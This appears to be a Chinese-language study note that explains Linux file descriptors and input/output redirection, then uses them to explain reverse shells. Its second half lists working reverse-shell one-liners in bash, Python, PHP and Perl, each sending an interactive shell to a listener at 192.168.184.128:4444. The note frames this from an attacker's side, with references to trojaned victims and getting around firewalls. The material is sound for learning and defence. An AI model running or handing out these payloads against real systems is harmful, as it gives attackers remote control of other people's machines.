文件描述符

image-20220327173708545

编号 文件描述符 含义 默认链接 用法
0 stdin 标准输入 键盘 仅读取
1 stdout 标准输出 终端 仅写入
2 stderr 标准错误输出 终端 仅写入
3+ filename 其他文件 读取/写入

输入/输出重定向

重定向符

> fille

> 相当于 1>

image-20220327181811794

>符号有点危险,因为会覆盖文件原有内容

>> file

>>就比>安全,>>是在文件后追加

2> file

会将错误的输出重定向到指定文件

image-20220327182227217

2> dev/null

/dev/null类似垃圾桶,输入到该文件下的内容都会被丢弃

image-20220327182105251

> file 2>&1 和 &> file

> file 2>&1&> file>& file都是一个意思,将stdoutstderr都重定向到file

>&1中的&符号是将后面的数字解析成文件描述符的意思,如果不加&符号,系统将会把后面的当成一个数字作为文件名的文件

< file

表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备。

什么是反弹shell

reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹shell

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

  1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。

  2. 它的ip会动态改变,你不能持续控制。

  3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。

  4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

反弹shell的paylaod

bash -i 产生交互式shell

bash -c 是为了确保命令使用bash shell来执行,若默认shell就是bash那就没有区别

1
2
3
4
5
bash -c "bash -i < /dev/tcp/ip/port 1<&0 2<&0" # n< 这里n省略就是标准输入

bash -i >& /dev/tcp/ip/port 0>&1

bash -i > /dev/tcp/ip/port 0<&1 2>&1 # 这里的0可以不写

拓展反弹shell命令

1
2
3
4
5
6
7
8
9
10
11
12
# python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.184.128",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# bash
bash -i >& /dev/tcp/192.168.184.128/4444 0>&1

# php
php -r '$sock=fsockopen("192.168.184.128",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# 这里的描述符3解释一下:程序刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。如果此时去打开一个新的文件,它的文件描述符会是3,所以fsockopen("192.168.184.128",4444)就是描述符3

# perl
perl -e 'use Socket;$i="192.168.184.128";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; '

参考

Shell 输入/输出重定向 | 菜鸟教程

Linux反弹shell(一)文件描述符与重定向 - 先知社区

Linux 反弹shell(二)反弹shell的本质 - 先知社区

文件重定向和管道符_哔哩哔哩_bilibili

Linux中的bash -c 的使用详解

文件描述符终极使用